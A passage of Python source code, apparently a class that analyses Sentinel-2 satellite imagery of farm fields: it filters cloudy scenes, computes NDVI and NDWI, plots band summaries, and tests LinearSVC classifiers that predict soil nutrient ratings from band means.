print(f\"Height: {arr_st.shape[1]}\\nWidth: {arr_st.shape[2]}\\nBands: {arr_st.shape[0]}\")\n\n ep.plot_bands(arr_st, cmap=\"gist_earth\", figsize=(20, 12), cols=6, cbar=False)\n plt.show()\n\n rgb = ep.plot_rgb(arr_st, rgb=(3, 2, 1), figsize=(8, 10), title=\"RGB Composite Image\")\n\n def create_cropped_rgb_image(self):\n \"\"\"\n Test creating an rgb image for a farm\n \"\"\"\n\n farm_name = self.farm_bounds_32643.iloc[0][\"name\"]\n\n first_product = self.products_df.iloc[0]\n\n band2 = self.get_farm_raster_from_product_raster_path(farm_name, first_product[BAND_2_10M])\n band3 = self.get_farm_raster_from_product_raster_path(farm_name, first_product[BAND_3_10M])\n band4 = self.get_farm_raster_from_product_raster_path(farm_name, first_product[BAND_4_10M])\n\n # export true color image\n output_raster = f\"{Path(band2).parent}/rgb.tif\"\n\n band2 = rasterio.open(band2) # blue\n band3 = rasterio.open(band3) # green\n band4 = rasterio.open(band4) # red\n\n with rasterio.open(\n output_raster,\n \"w\",\n driver=band4.driver,\n width=band4.width,\n height=band4.height,\n count=3,\n crs=band4.crs,\n transform=band4.transform,\n dtype=band4.dtypes[0],\n ) as rgb:\n rgb.write(band2.read(1), 3)\n rgb.write(band3.read(1), 2)\n rgb.write(band4.read(1), 1)\n\n log.debug(f\"Created rgb image {output_raster}\")\n\n # with rasterio.open(output_raster, count=3) as src\n # plot.show(src)\n\n def generate_all_farms_bands_summary(self):\n \"\"\"\n For each farm, generate jpeg for each summary band showing how image changes for each product over time\n\n \"\"\"\n [self.generate_all_farms_summary(band) for band in REPORT_SUMMARY_BANDS]\n\n def generate_all_farms_summary(self, band: str, verify_images=False):\n \"\"\"\n Generate plot for all farms for specified band over time\n :param band:\n :param verify_images:\n :return:\n \"\"\"\n filtered_products_df = self.products_df[self.products_df[band].notnull()]\n\n band_rasters = list(filter(None, map(self.get_all_farms_raster_for_band, filtered_products_df[band])))\n\n if band_rasters:\n number_of_raster = len(band_rasters)\n\n cols = 6\n rows = int(math.ceil(number_of_raster / cols))\n\n gs = gridspec.GridSpec(rows, cols, wspace=0.01)\n\n fig = plt.figure(figsize=(50, 50))\n plt.tight_layout()\n\n fig.suptitle(f\"All farms {band}, all products\", fontsize=40)\n\n for n in range(number_of_raster):\n ax = fig.add_subplot(gs[n])\n\n product = filtered_products_df.iloc[n]\n\n dt = parser.parse(product.generationdate)\n\n ax.set_title(f\"{product.title}:\\n{dt.day}/{dt.month}/{dt.year}\", fontsize=10, wrap=True)\n # ax.set_title(f\"{dt.day}/{dt.month}/{dt.year}\\n{product.uuid}\", fontsize=10)\n ax.axes.xaxis.set_visible(False)\n ax.axes.yaxis.set_visible(False)\n\n with rasterio.open(band_rasters[n], \"r\") as src:\n # Overlay individual field bounds\n self.farm_bounds_32643.plot(ax=ax, facecolor=\"none\", edgecolor=\"r\")\n plot.show(src, ax=ax, cmap=\"terrain\")\n # plt.tight_layout()\n\n if verify_images:\n\n # Show the field outlines on the raster\n fig, ax = plt.subplots(figsize=(15, 15))\n rasterio.plot.show(src, ax=ax)\n self.farm_bounds_32643.plot(ax=ax, facecolor=\"none\", edgecolor=\"r\")\n plt.show()\n\n farm_name_dir = f\"{FARM_SUMMARIES_DIRECTORY}/all_farms\"\n\n os.makedirs(farm_name_dir, exist_ok=True)\n\n plt.savefig(f\"{farm_name_dir}/{band}.jpg\", format=\"jpeg\", bbox_inches=\"tight\")\n\n def generate_individual_farm_bands_summary(self, filter_clouds=True):\n \"\"\"\n For each farm, plot each of the summary bands in a jpeg over time\n :param filter_clouds: Whether to exclude farm rasters that have clouds\n :return:\n \"\"\"\n\n [\n self.generate_individual_farm_band_summary(\n farm_index, band, verify_images=False, filter_clouds=filter_clouds\n )\n for farm_index in range(len(self.farm_bounds_32643))\n for band in REPORT_SUMMARY_BANDS\n ]\n\n def generate_individual_farm_band_summary(\n self, farm_df_index: int, band: str, verify_images=False, filter_clouds=True\n ):\n \"\"\"\n Plot how specified band_to_display changes over time for a farm\n :param filter_clouds: Filter out images that Scene Classification deemed to have clouds\n :param band: Band you wish to display\n :param farm_df_index: Index of farm in farms dataframe\n :param verify_images: Show the plot\n :return:\n \"\"\"\n\n # Get the farm\n farm_details = self.get_farm_from_dataframe(farm_df_index)\n\n field_id = farm_details[\"field_id\"]\n filtered_products_df = self.load_farm_cloud_free_products_df(farm_details)\n\n # FIXME : We are only doing cloud free products now\n # if filter_clouds:\n # filtered_products_df = self.get_cloud_free_products_for_farm(band, farm_details)\n # else:\n # filtered_products_df = self.products_df[self.products_df[band].notnull()]\n\n # # Filter products for areas other than this farm\n # filtered_products_df = filtered_products_df[filtered_products_df.geometry.contains(farm_details.geometry)]\n #\n # try:\n # filtered_products_df.reset_index(inplace=True)\n # except ValueError:\n # # Ignore - this can arise if reset_index has already been called as it is in get_cloud_free_products_for_farm\n # pass\n\n number_of_raster = len(filtered_products_df)\n\n cols = 6\n rows = int(math.ceil(number_of_raster / cols))\n\n gs = gridspec.GridSpec(rows, cols, wspace=0.01)\n\n fig = plt.figure(figsize=(24, 24))\n fig.suptitle(f\"Farm {farm_df_index}: {field_id} {band}, all products\", fontsize=40)\n\n def _add_band_image_to_grid(product, band_to_display):\n index = product.name\n ax = fig.add_subplot(gs[index])\n\n dt = parser.parse(product.generationdate)\n\n # ax.set_title(f\"{product.title}:\\n{dt.day}/{dt.month}/{dt.year}\", fontsize = 10, wrap=True )\n ax.set_title(f\"{dt.day}/{dt.month}/{dt.year}\\n{product.uuid}\", fontsize=10)\n ax.axes.xaxis.set_visible(False)\n ax.axes.yaxis.set_visible(False)\n\n raster_path = product[band_to_display]\n if raster_path:\n with rasterio.open(raster_path, \"r\") as src:\n plot.show(src, ax=ax, cmap=\"terrain\")\n\n return product\n\n filtered_products_df.apply(_add_band_image_to_grid, band_to_display=band, axis=1)\n\n farm_name_dir = f\"{FARM_SUMMARIES_DIRECTORY}/{field_id}\"\n\n os.makedirs(farm_name_dir, exist_ok=True)\n\n if filter_clouds:\n plt.savefig(f\"{farm_name_dir}/{band}.jpg\")\n else:\n plt.savefig(f\"{farm_name_dir}/{band}_including_clouds.jpg\")\n if verify_images:\n plt.show()\n\n def get_cloud_free_products_for_farm(self, band: str, farm_details: Series) -> GeoDataFrame:\n \"\"\"\n Get dataframe containing cloud free products for the specified farm\n :param band:\n :param farm_details:\n :return: filtered_products_df GeoDataFrame\n \"\"\"\n cloud_free_products = farm_details[\"cloud_free_products\"]\n # Only want products that are cloud free for specified farm. Copy, filter and reset index\n filtered_products_df = self.products_df.query(\"uuid in @cloud_free_products\").copy()\n filtered_products_df = filtered_products_df[filtered_products_df[band].notnull()]\n filtered_products_df.reset_index(inplace=True)\n return filtered_products_df\n\n def get_farm_from_dataframe(self, farm_df_index: int) -> Series:\n \"\"\"\n Safely retrieve farm details at specified index\n :param farm_df_index:\n :return: Farm Series\n \"\"\"\n try:\n farm_details = self.farm_bounds_32643.iloc[farm_df_index]\n except IndexError as e:\n log.error(e)\n sys.exit(\"Farm index provided is out of range - exiting\")\n return farm_details\n\n def set_cloud_free_products(self, farm: Series) -> Series:\n \"\"\"\n Check the scene classification raster for each product for this farm\n :param farm:\n :return: farm\n \"\"\"\n\n cloud_free_product_ids = []\n\n def _check_cloud_cover_for_farm_product(uuid: str, default_scene_classification_path: str):\n \"\"\"\n Get the scene classification raster for the specified farm.\n If it contains any pixels classed as cloud, we ignore it. If not we add it to a valid list of\n product uuids. See https://custom-scripts.sentinel-hub.com/custom-scripts/sentinel-2/scene-classification/#\n :param uuid:\n :param default_scene_classification_path:\n\n \"\"\"\n scene_classification_raster = self.get_farm_raster_from_product_raster_path(\n farm[\"field_id\"], default_scene_classification_path\n )\n\n if scene_classification_raster:\n with rasterio.open(scene_classification_raster, \"r\") as src:\n if not any(\n np.in1d(\n (CLOUD_MEDIUM, CLOUD_HIGH, THIN_CIRRUS, SATURATED_OR_DEFECTIVE, CLOUD_SHADOWS), src.read()\n )\n ):\n cloud_free_product_ids.append(uuid)\n\n [\n _check_cloud_cover_for_farm_product(uuid, default_scene_classification_20m_path)\n for uuid, default_scene_classification_20m_path in zip(\n self.products_df[\"uuid\"], self.products_df[BAND_SCL_20M]\n )\n ]\n\n farm[\"cloud_free_products\"] = cloud_free_product_ids\n return farm\n\n def add_cloud_free_products_to_farms_df(self):\n \"\"\"\n Add a list of cloud free product uuids for each farm\n :return:\n \"\"\"\n\n if not os.path.exists(FARMS_GEOJSON_VALID_PRODUCTS):\n self.farm_bounds_32643 = self.farm_bounds_32643.apply(self.set_cloud_free_products, axis=1)\n self.save_farms_with_valid_products()\n else:\n self.load_farms_with_valid_products()\n\n def generate_individual_farm_cloud_series_over_time(self, farm_df_index: int, verify_images=False):\n \"\"\"\n Generate composite plot of farm true colour (RGB) images for each product\n :param farm_df_index: Index of farm in farms dataframe\n :param verify_images: Show the plot\n :return:\n \"\"\"\n\n # Get the farm\n farm_details = self.get_farm_from_dataframe(farm_df_index)\n\n field_id = farm_details[\"field_id\"]\n\n # If we have a situation where we've not yet downloaded all the products in the dataframe, we filter out those\n # where we haven't got the desired band\n # filtered_products_df = self.products_df[self.products_df[BAND_TCI_10M].notnull()]\n filtered_products_df = self.products_df[self.products_df[BAND_SCL_20M].notnull()]\n\n true_colour_rasters = [\n self.get_farm_raster_from_product_raster_path(field_id, band)\n for band in filtered_products_df[BAND_TCI_10M]\n ]\n scene_classification_rasters = [\n self.get_farm_raster_from_product_raster_path(field_id, band)\n for band in filtered_products_df[BAND_SCL_20M]\n ]\n\n true_colour_rasters = list(filter(None, true_colour_rasters))\n\n number_of_raster = len(true_colour_rasters)\n\n cols = 4\n rows = int(math.ceil(number_of_raster / cols))\n\n # gs = gridspec.GridSpec(rows, cols, wspace=0.01)\n\n fig = plt.figure(figsize=(24, 24))\n # gs = gridspec.GridSpec(rows, cols, wspace=0.01,figure=fig)\n gs = gridspec.GridSpec(rows, cols, wspace=1, figure=fig)\n # gridspec.GridSpec(1, 2, figure=fig)\n fig.suptitle(f\"Farm {farm_df_index}: {field_id} true colour images, all products\", fontsize=40)\n\n for n in range(number_of_raster):\n\n gs1 = gridspec.GridSpecFromSubplotSpec(1, 2, subplot_spec=gs[n])\n\n ax = fig.add_subplot(gs1[0])\n ax.axes.xaxis.set_visible(False)\n ax.axes.yaxis.set_visible(False)\n product = filtered_products_df.iloc[n]\n\n dt = parser.parse(product.generationdate)\n\n ax.set_title(f\"{dt.day}/{dt.month}/{dt.year}\", fontsize=10)\n with rasterio.open(true_colour_rasters[n], \"r\") as src:\n plot.show(src, ax=ax, cmap=\"terrain\")\n\n ax2 = fig.add_subplot(gs1[1])\n ax2.axes.xaxis.set_visible(False)\n ax2.axes.yaxis.set_visible(False)\n ax2.set_title(f\"Clear {dt.day}/{dt.month}/{dt.year}\")\n with rasterio.open(scene_classification_rasters[n], \"r\") as src:\n\n data = src.read()\n\n if any(np.in1d((CLOUD_MEDIUM, CLOUD_HIGH, THIN_CIRRUS), data)):\n log.debug(\"Raster data contains clouds\")\n ax2.set_title(f\"*******CLOUD ALERT ******\")\n plot.show(src, ax=ax2, cmap=\"terrain\")\n # fig, ax = plt.subplots(figsize=(15, 15))\n # plot.show(src, ax=ax)\n # show_hist(\n # src, bins=50, lw=0.0, stacked=False, alpha=0.3,\n # histtype='stepfilled', title=\"Histogram\")\n # show_hist(src, bins=50, histtype='stepfilled',\n # lw=0.0, stacked=False, alpha=0.3, ax=ax)\n # plt.show()\n # plot.show(src, ax=ax2, cmap=\"terrain\")\n\n # gs2 = gridspec.GridSpecFromSubplotSpec(1, 2, subplot_spec=gs[0])\n # fig2 = plt.figure()\n\n # ax = fig.add_subplot(gs2[0])\n #\n # product = filtered_products_df.iloc[n]\n #\n # dt = parser.parse(product.generationdate)\n #\n # # ax.set_title(f\"{product.title}:\\n{dt.day}/{dt.month}/{dt.year}\", fontsize = 10, wrap=True )\n # ax.set_title(f\"{dt.day}/{dt.month}/{dt.year}\", fontsize=10)\n #\n # ax.axes.xaxis.set_visible(False)\n # ax.axes.yaxis.set_visible(False)\n #\n # with rasterio.open(true_colour_rasters[n], \"r\") as src:\n # plot.show(src, ax=ax, cmap=\"terrain\")\n # with rasterio.open(true_colour_rasters[n], \"r\") as src:\n # ax = fig.add_subplot(gs2[1])\n\n # ax.set_title(\"cloud\", fontsize=10)\n #\n # ax.axes.xaxis.set_visible(False)\n # ax.axes.yaxis.set_visible(False)\n # plot.show(src, ax=ax, cmap=\"terrain\")\n\n # fig.add_subplot(gs[n])\n\n # plt.savefig(f\"{FARM_SUMMARIES_DIRECTORY}/{farm_name}.jpg\")\n\n if verify_images:\n plt.show()\n\n def get_all_farms_raster_for_band(self, raster_path):\n if not os.path.exists(raster_path):\n return None\n\n raster_file_path = Path(raster_path).with_suffix(\".tif\")\n raster_file_path = f\"{raster_file_path.parent.parent.parent}/IMG_DATA_CROPPED/all_farms/{raster_file_path.parent.name}/{raster_file_path.name}\"\n return raster_file_path\n\n def get_farm_raster_from_product_raster_path(self, field_id: str, raster_path: str) -> str:\n \"\"\"\n Given a farm name and a band path from an original product, construct a path to the farm raster for this band\n :param field_id:\n :param raster_path:\n :return:\n \"\"\"\n if not raster_path:\n return None\n\n if not os.path.exists(raster_path):\n return None\n\n raster_file_path = Path(raster_path).with_suffix(\".tif\")\n # Construct path to raster band that has been cropped for specified farm\n raster_file_path = (\n f\"{raster_file_path.parent.parent.parent}/IMG_DATA_CROPPED/{field_id}/\"\n f\"{raster_file_path.parent.name}/{raster_file_path.name}\"\n )\n return raster_file_path if os.path.exists(raster_file_path) else None\n\n def get_pixel_for_location_all_products(self, farm_index: int, band: str, x: float, y: float):\n \"\"\"\n Given a farm index, get the farm's cloud free products. For each, get the pixel value in the specified band raster.\n :param farm_index:\n :param band:\n :param x:\n :param y:\n :return:\n \"\"\"\n\n # Get cloud free products\n cloud_free_products = self.get_cloud_free_products_for_farm(band, self.get_farm_from_dataframe(farm_index))\n\n pixel_values = [\n self.get_pixel_for_location_for_specified_product_and_farm(\n product_band=product_band, farm_index=farm_index, band=band, x=x, y=y\n )\n for product_band in cloud_free_products[band]\n ]\n return pixel_values\n\n def get_pixel_for_location_for_specified_product_and_farm(\n self, product_band: str, farm_index: int, band: str, x: float, y: float\n ):\n \"\"\"\n Given a farm and a band, get the pixel value for the specified location\n :param farm_index:\n :param band:\n :return:\n \"\"\"\n\n # Get path for farm\n farm_raster = self.get_farm_raster_from_product_raster_path(\n self.get_farm_from_dataframe(farm_index).Name, product_band\n )\n if farm_raster:\n with rasterio.open(farm_raster) as src:\n # convert coordinate to raster projection\n transformer = Transformer.from_crs(\"EPSG:4326\", src.crs, always_xy=True)\n xx, yy = transformer.transform(x, y)\n\n # get value from grid.\n pixel_values = list(src.sample([(xx, yy)]))[0]\n print(pixel_values)\n # Returns if coords are outwith the raster\n return pixel_values[0]\n # Alternative src.index(xx, yy)\n # r = src.read(1)\n # r[src.index(xx, yy)]\n # p_values = src.index(xx, yy)\n #\n #\n # # To sanity check\n # aff = src.transform\n # loc = rowcol(aff, xx, yy)\n #\n # # Get x and y of pixel at specified row and column\n # test = src.transform * loc\n # res = xy(transform=aff, rows=loc[0], cols=loc[1])\n # t = Transformer.from_crs(\"EPSG:32643\", \"EPSG:4326\", always_xy=True)\n # check = t.transform(*res)\n #\n # left, bottom, right, top = src.bounds\n # test = rowcol(aff, left, top)\n # print(test)\n\n def generate_band_histogram(self, product, field_id):\n def _open_band(band):\n with rasterio.open(band) as f:\n return f.read(1)\n\n arrs = [\n _open_band(self.get_farm_raster_from_product_raster_path(field_id, product[band]))\n for band in (BAND_2_10M, BAND_3_10M, BAND_4_10M, BAND_8_10M)\n ]\n\n sentinel_img = np.array(arrs, dtype=arrs[0].dtype)\n show(sentinel_img[0:3])\n rasterio.plot.show_hist(\n sentinel_img, bins=50, histtype=\"stepfilled\", lw=0.0, stacked=False, alpha=0.3, title=\"10m bands\"\n )\n log.debug(\"here\")\n\n def generate_mean_ndvi(self, product, field_id):\n \"\"\"\n Calculate the mean NDVI for a farm for the specified product. Save the results as a raster\n :param product:\n :return: product Series\n \"\"\"\n\n red_path = product[BAND_4_10M]\n nir_path = product[BAND_8_10M]\n\n if red_path and nir_path:\n\n with rasterio.open(red_path) as red:\n red_band = red.read(1)\n out_meta = red.meta.copy()\n with rasterio.open(nir_path) as nir:\n nir_band = nir.read(1)\n\n # Allow division by zero\n np.seterr(divide=\"ignore\", invalid=\"ignore\")\n ndvi = (nir_band.astype(float) - red_band.astype(float)) / (\n nir_band.astype(float) + red_band.astype(float)\n )\n\n # Get the mean (discounting nan values)\n product[f\"{field_id}_mean_ndvi\"] = np.nanmean(ndvi)\n\n return product\n\n # ep.plot_bands(ndvi, cmap=\"YlGnBu\", cols=1, title=\"ndvi\", vmin=-1, vmax=1)\n\n # plt.imshow(ndvi)\n # plt.show()\n # vmin, vmax = np.nanpercentile(ndvi, (1,99))\n # # img_plt = plt.imshow(ndvi, cmap='gray', vmin=vmin, vmax=vmax)\n # plt.imshow(ndvi, cmap='Greens', vmin=vmin, vmax=vmax)\n # show(ndvi, cmap=\"Greens\")\n\n # ndvi_raster_path = f\"{Path(red_path).parent}/ndvi.tif\"\n\n # out_meta.update(dtype=rasterio.float32, count=1)\n # with rasterio.open(\n # ndvi_raster_path,\n # \"w\",\n # **out_meta,\n # ) as ndvi_out:\n # ndvi_out.write(ndvi, 1)\n\n # show(ndvi, cmap=\"Greens\")\n\n # Verify\n # with rasterio.open(ndvi_raster_path, \"r\") as src:\n # fig, ax = plt.subplots(figsize=(15, 15))\n # show(src, ax=ax, cmap=\"Greens\")\n # plt.show()\n\n return product\n\n def generate_band_means_at_soil_test_date(self):\n \"\"\"\n For each farm, get the mean of each band and store in Farm Series\n Results are then persisted to filesystem\n :return:\n \"\"\"\n\n def _calculate_means(farm_details: Series):\n \"\"\"\n Get the mean value of each band and store in farm_details series\n :param farm_details:\n :return:\n \"\"\"\n cloud_free_products_df = self.load_farm_cloud_free_products_df(farm_details)\n survey_date = farm_details[\"date_of_survey\"]\n\n # Ignore the few fields where we don't have a date\n if pd.isnull(survey_date):\n return farm_details\n\n # Copy the date so we can easily access it later\n cloud_free_products_df[\"gen_date\"] = cloud_free_products_df[\"generationdate\"]\n\n # Convert and set date as index\n cloud_free_products_df[\"generationdate\"] = pd.to_datetime(cloud_free_products_df[\"generationdate\"])\n cloud_free_products_df = cloud_free_products_df.set_index(\"generationdate\")\n\n field_id = farm_details[\"field_id\"]\n # **************** WARNING *************\n # Only add field_ids_with_clouds if you understand what is going on here.\n #\n # The idea behind this is assuming you have run the perform_analysis endpoint, examine the plots of all\n # the farms we are going to analyse. The logic to automatically remove clouds isn't perfect and some cloudy\n # fields get through. If you specify their ids here, we look for the next nearest product and drop this from\n # the farm's list of cloud free products.\n # Running this repeatedly with the same ids will keep removing available products and could mess up the dataset.\n # Run it once, check the plots and if all have been fixed, set field_ids_with_clouds = []. If there are some\n # which haven't, keep their ids in the list, run again to select the next nearest product again, check the plot and repeat.\n # Simple as that ;)\n # *************************************\n # field_ids_with_clouds = ('660', '659', '821', '819', '787', '820', '823', 'G044', 'G066', 'G067', 'G082')\n field_ids_with_clouds = []\n\n if field_id not in field_ids_with_clouds:\n # Get the nearest product\n nearest_product_index = cloud_free_products_df.index.get_indexer([survey_date], method=\"nearest\")[0]\n nearest_product = cloud_free_products_df.iloc[nearest_product_index]\n else:\n # Get next nearest product as manual inspection showed clouds\n\n # Get what we thought was cloud free\n nearest_uuid = farm_details[\"nearest_product_uuid\"]\n # Remove the cloud covered product\n cloud_free_products_df = cloud_free_products_df[cloud_free_products_df.uuid != nearest_uuid]\n\n # Get next nearest\n nearest_product_index = cloud_free_products_df.index.get_indexer([survey_date], method=\"nearest\")[0]\n nearest_product = cloud_free_products_df.iloc[nearest_product_index]\n\n # Update this farms' list of cloud free products\n original_cloud_free_products = farm_details[\"cloud_free_products\"]\n original_cloud_free_products.remove(nearest_uuid)\n farm_details[\"cloud_free_products\"] = original_cloud_free_products\n\n # Update the geojson of cloud free products\n cloud_free_products_df.to_file(\n self.get_farm_cloud_free_products_df_path(farm_details), driver=\"GeoJSON\"\n )\n\n def _mean_from_band(band: str):\n \"\"\"\n Get the mean from the specified band\n :param band:\n :return:\n \"\"\"\n with rasterio.open(band) as f:\n return np.nanmean(f.read(1))\n\n def _assign_band_mean_to_farm(band: str):\n \"\"\"\n Update the farm_details series with the mean value from the specified band\n :param band:\n :return:\n \"\"\"\n farm_details[band] = _mean_from_band(nearest_product[band])\n\n # Add bands to farm_details\n list(map(_assign_band_mean_to_farm, ALL_BANDS))\n\n # Add mean ndvi\n red = farm_details[BAND_4_10M]\n nir = farm_details[BAND_8_10M]\n\n np.seterr(divide=\"ignore\", invalid=\"ignore\")\n ndvi = (nir - red) / (nir + red)\n\n farm_details[\"mean_ndvi\"] = ndvi\n\n # ndwi\n # https://en.wikipedia.org/wiki/Normalized_difference_water_index\n green = farm_details[BAND_3_20M]\n nir = farm_details[BAND_8A_20M]\n\n ndwi = (green - nir) / (green + nir)\n\n farm_details[\"mean_ndwi\"] = ndwi\n\n # Add the details of the product we used in case we have to inspect it in future\n farm_details[\"nearest_product_uuid\"] = nearest_product[\"uuid\"]\n farm_details[\"nearest_product_generationdate\"] = nearest_product[\"gen_date\"]\n\n return farm_details\n\n self.farm_bounds_32643 = self.farm_bounds_32643.apply(_calculate_means, axis=1)\n\n # Save the updated farms list\n self.save_farms_with_valid_products()\n\n def _plot_rgb_for_fields_chosen_for_analysis(self):\n \"\"\"\n Create a grid of the rgb images of all the fields we have selected for analysis. This is important\n as we have to manually check there are no cloudy images - some sneak through the automatic detection.\n NOTE: If you notice any cloudy fields, take a note of the id, look at generate_band_means_at_soil_test_date\n and amend the field_ids_with_clouds list with the ids. Run generate_band_means_at_soil_test_date on it's own,\n then call this function to generate another plot of all farms. If some farms are still cloudy, repeat. If all\n fields are cloud free, remove the ids from field_ids_with_clouds so we don't accidentally remove any products\n that are don't have any issues\n \"\"\"\n df = self.get_farm_bounds_as_pandas_df_for_analysis()\n number_of_raster = len(df)\n\n cols = 4\n rows = int(math.ceil(number_of_raster / cols))\n\n gs = gridspec.GridSpec(rows, cols, wspace=0.01)\n\n fig = plt.figure(figsize=(24, 100))\n fig.suptitle(f\"Farms\", fontsize=40)\n\n def _plot(farm):\n cloud_free_products_df = self.load_farm_cloud_free_products_df(farm)\n match = cloud_free_products_df[cloud_free_products_df[\"uuid\"] == farm[\"nearest_product_uuid\"]]\n index = farm.name\n ax = fig.add_subplot(gs[index])\n ax.set_title(f\"{farm['field_id']}\", fontsize=10)\n ax.axes.xaxis.set_visible(False)\n ax.axes.yaxis.set_visible(False)\n\n with rasterio.open(match[BAND_TCI_10M].iloc[0], \"r\") as src:\n plot.show(src, ax=ax, cmap=\"terrain\")\n\n return farm\n\n df.apply(_plot, axis=1)\n\n plt.savefig(f\"{ANALYSIS_RESULTS_DIR}/chosen_products.jpg\")\n\n plt.show()\n\n def _correlation_plots(self, soil_test_columns: list, field: str):\n \"\"\"\n Plot correlation matrices\n :param soil_test_columns:\n :param field:\n :return:\n \"\"\"\n\n # Get fresh dataframe\n df = self.get_farm_bounds_as_pandas_df_for_analysis()\n\n # Discount rows that have 0 for test result as no results were supplied\n df = df[df[field] > 0]\n\n extra_columns = list(set(soil_test_columns) - set([field]))\n df.drop(extra_columns, axis=1, inplace=True)\n\n sns.lmplot(x=field, y=MEAN_NDWI, data=df)\n sns.lmplot(x=MEAN_NDVI, y=MEAN_NDWI, data=df)\n\n # Pearsons coefficient by default\n cormat = df.corr()\n r = round(cormat, 2)\n sns.set(rc={\"figure.figsize\": (25, 15)})\n sns.heatmap(r, annot=True, vmax=1, vmin=-1, center=0, cmap=\"vlag\")\n plt.show()\n\n # Remove top half to make it easier to read\n mask = np.triu(np.ones_like(r, dtype=bool))\n sns.heatmap(r, annot=True, vmax=1, vmin=-1, center=0, cmap=\"vlag\", mask=mask)\n\n plt.savefig(f\"{ANALYSIS_RESULTS_DIR}/{field}_correlation.png\")\n plt.show()\n corr_pairs = r.unstack()\n sorted_pairs = corr_pairs.sort_values(kind=\"quicksort\")\n log.debug(sorted_pairs)\n\n negative_pairs = sorted_pairs[sorted_pairs < 0]\n log.debug(negative_pairs)\n\n strong_pairs = sorted_pairs[abs(sorted_pairs) > 0.5]\n\n log.debug(strong_pairs)\n\n stats.pearsonr(df[field], df[MEAN_NDVI])\n stats.pearsonr(df[MEAN_NDWI], df[MEAN_NDVI])\n\n sns.pairplot(df[[BAND_8_10M, BAND_2_10M, BAND_4_10M, BAND_3_10M, CARBON_RATING]], diag_kind=\"kde\")\n\n def _test_linear_svc_classifier_with_different_band_combinations_inputs(self):\n \"\"\"\n Test LinearSVC classifier with different combinations of the 10 and 20m bands\n Scores are saved to the farm_summaries_analysis directory in csv and plots\n \"\"\"\n\n # Only use a subset of bands as we want to test the model with all combinations\n # If we used all the band means available, we would have over 16 millions combinations!\n\n # 4096 combinations with this list\n test_bands = [\n BAND_8_10M,\n BAND_2_10M,\n BAND_4_10M,\n BAND_3_10M,\n BAND_3_20M,\n BAND_4_20M,\n BAND_5_20M,\n BAND_6_20M,\n BAND_7_20M,\n BAND_8A_20M,\n BAND_11_20M,\n BAND_12_20M,\n ]\n\n # test_bands = [\n # BAND_8_10M,\n # BAND_2_10M,\n # ]\n\n def _all_subsets(bands: list):\n \"\"\"\n Get all combinations of the supplied bands\n :param bands:\n :return:\n \"\"\"\n # Taken from https://stackoverflow.com/a/5898031\n return chain(*map(lambda x: combinations(bands, x), range(0, len(bands) + 1)))\n\n def _plot_results(results, soil_test_field):\n bands_scores = pd.DataFrame.from_dict(results, orient=\"index\")\n bands_scores.to_csv(f\"{ANALYSIS_RESULTS_DIR}/{soil_test_field}_10_20_bands.csv\")\n fig, axs = plt.subplots(figsize=(15, 15))\n axs.set_xlabel(\"Band combinations\")\n axs.set_ylabel(\"Score\")\n axs.tick_params(axis=\"both\", labelsize=20)\n bands_scores.plot.bar(ax=axs)\n plt.rcParams.update({\"font.size\": 10})\n plt.xticks(rotation=45, ha=\"right\")\n fig.suptitle(f\"band scores comparison: {soil_test_field}\")\n plt.show()\n\n # Display the same info in a boxplot\n model_scores_df_transposed = bands_scores.transpose()\n fig, axs = plt.subplots(figsize=(15, 15))\n axs.set_xlabel(\"Classifier model\")\n axs.set_ylabel(\"Score\")\n fig.suptitle(f\"band scores comparison {soil_test_field}\")\n plt.xticks(rotation=45, ha=\"right\")\n plt.rcParams.update({\"font.size\": 10})\n plt.boxplot(model_scores_df_transposed, labels=[r for r in results.keys()], showmeans=True)\n plt.savefig(f\"{ANALYSIS_RESULTS_DIR}/{soil_test_field}_10_20_bands.jpg\")\n plt.show()\n\n def _score_band_combinations(soil_test_field):\n \"\"\"\n Test all combinations of test_bands. Add the results to a dict so we can analyse\n\n \"\"\"\n results = {}\n\n # Get the dataframe we want to work with\n fields_df = self.get_farm_bounds_as_pandas_df_for_analysis()\n\n # Filter out results with test values of 0 as these are records where no results were supplied\n fields_df = fields_df[fields_df[soil_test_field] > 0]\n\n # Iterate through all combinations of supplied bands\n for subset in _all_subsets(test_bands):\n log.info(subset)\n if subset:\n\n # Test this subset of bands\n x_train, x_test, y_train, y_test = train_test_split(\n fields_df[[band for band in subset]],\n fields_df[soil_test_field],\n train_size=0.75,\n shuffle=True,\n )\n classifier = LinearSVC(max_iter=20000)\n classifier = classifier.fit(x_train, y_train)\n\n y_pred = classifier.predict(x_test)\n accuracy = accuracy_score(y_test, y_pred)\n\n kf = StratifiedKFold(n_splits=5, shuffle=True)\n scores_stratified_KFold = cross_val_score(classifier, x_train, y_train, cv=kf)\n\n # Can use cross_val_score to get averages\n scores_cross_val = cross_val_score(classifier, x_train, y_train, cv=5)\n\n scores_dict = {}\n scores_dict[\"scores_stratified_KFold\"] = scores_stratified_KFold.mean()\n scores_dict[\"scores_cross_val\"] = scores_cross_val.mean()\n scores_dict[\"accuracy_score\"] = accuracy\n\n results[\" \".join(subset)] = scores_dict\n\n _plot_results(results, soil_test_field)\n\n # Iterate over each of the test fields, score on different band combinations and plot results\n [\n _score_band_combinations(soil_test_field)\n for soil_test_field in (CARBON_RATING, NITROGEN_RATING, POTASSIUM_RATING, PHOSPHORUS_RATING)\n ]\n\n def _plot_best_performing_linear_svc_classifier_with_different_band_combinations_inputs(self):\n \"\"\"\n Plot the 10 best performing band combinations for each soil test category\n :return:\n \"\"\"\n\n def _plot_10_best_performing_combinations(soil_test_field):\n df = pd.read_csv(f\"{ANALYSIS_RESULTS_DIR}/{soil_test_field}_10_20_bands.csv\", index_col=0)\n\n df[\"mean\"] = df.mean(axis=1)\n df = df.sort_values(\"mean\", ascending=False).head(10)\n # NOTE - you may want to save this dataframe to csv for further analysis\n\n fig, axs = plt.subplots(figsize=(15, 15))\n axs.set_xlabel(\"Band combinations\")\n axs.set_ylabel(\"Score\")\n axs.tick_params(axis=\"both\", labelsize=10)\n df.plot.bar(ax=axs)\n plt.rcParams.update({\"font.size\": 10})\n plt.xticks(rotation=45, ha=\"right\")\n fig.suptitle(f\"10 best performing band scores comparison for {soil_test_field}\")\n plt.savefig(f\"{ANALYSIS_RESULTS_DIR}/{soil_test_field}_10_20_top_performing_bands_bar.jpg\")\n plt.show()\n\n model_scores_df_transposed = df.transpose()\n fig, axs = plt.subplots(figsize=(15, 15))\n axs.set_xlabel(\"Band combinations\")\n axs.set_ylabel(\"Score\")\n fig.suptitle(f\"10 best performing band scores comparison for {soil_test_field}\")\n plt.xticks(rotation=45, ha=\"right\")\n plt.rcParams.update({\"font.size\": 10})\n 